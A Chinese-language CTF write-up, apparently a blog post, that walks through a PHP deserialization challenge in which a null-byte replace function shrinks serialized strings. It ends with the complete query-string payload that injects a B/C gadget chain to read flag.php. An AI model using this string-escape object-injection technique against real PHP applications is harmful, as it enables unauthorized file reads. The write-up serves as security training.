打开题目即为源码:

<?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

开头的write和read与以往看过的反序列化题目不同,既然不同,必有蹊跷,但我们先放在一边,先来考虑如何利用.

一共三个类,利用思路还是很清晰的.class C中的$c可控,且有一个_tostring方法可以获取$c的内容,而class B的_destruct方法中把$this->b进行了一个字符串操作,若使$b为一个class C,则可以触发_tostring方法,此时再令class C中的$c为”flag.php”的话,flag.php的内容就可以被我们获取.

$m = new B();
$m->b = new C();
$m->b->c = "flag.php";
echo serialize($m);

此时回头来看write和read.这里的话和Joolma 3.4.6 rce漏洞有关.源码中的write函数会将chr(0) . ‘*’ . chr(0)处理为\0\0\0,read函数则将其还原.但如果我们写入的时候是’\0\0\0′,长度为6,取出来的话,由于read函数的处理,会变为chr(0) .’*’. chr(0),(N*N,N表示NULL),长度为3.结合php序列化机制,即PHP在序列化数据的过程中,如果序列化的字段是一个字符串,那么将会保留该字符串的长度,然后将长度写入到序列化之后的数据,反序列化的时候按照长度进行读取(1),那么我们就会发现,该数据在反序列化的时候,如果按照原先的长度进行读取,就会导致溢出.

举个例子,假设我们的序列化后的对象为:O:1:"A":2:{s:8:"username";s:6:"\0\0\0";s:8:"password";s:6:"123456";},经过read处理后的就是:O:1:"A":2:{s:8:"username";s:6:"N*N";s:8:"password";s:6:"123456";}N*N长度3,而前面是s:6,所以";s也会被当成是username的值来处理.相当于是被”吃掉”了.

回到题目,如果我们按照常规做法直接传入payload,即?a=123(任意值)&b=O:1:”B”:1:{s:1:”b”;O:1:”C”:1:{s:1:”c”;s:8:”flag.php”;}},序列化结果为:O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";s:55:"O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";},可以看到我们的payload被处理为了字符串,反序列化时不会被当成对象来处理,无法让我们拿到flag.但是如果能够将payload前面的s:55给吃掉,我们的payload就可以成功执行,结合前面写到的read函数处理导致的溢出,我们就可以把s:55给吃掉,使payload顺利反序列化执行.

令?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0(27个’\0′,长度为54,\0必须三个一组),这样经过read函数处理后,a就会变为N*NN*NN*NN*NN*NN*NN*NN*NN*N,长度为27,而后面的27个字符就会被吃掉,也就是说s:55会被吃掉,我们的payload在反序列化时不会被当成字符串,而是当成对象成功执行.但是由于吃掉的长度为27,不做任何处理的话我们的payload也会被吃掉一部分,且";s:8:"password";也被吃掉的话无法顺利反序列化,所以我们还要在payload前面添加字符补齐27位并加上";s:8:"password";.所以最终的payload为:?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=AAAA";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}.f12获得flag.

 

(1)Joomla3.4.6 RCE漏洞深度分析

 

 

 

 

 

 

Categories:

Tags:

No responses yet

发表评论

电子邮件地址不会被公开。 必填项已用*标注

闽ICP备19027300号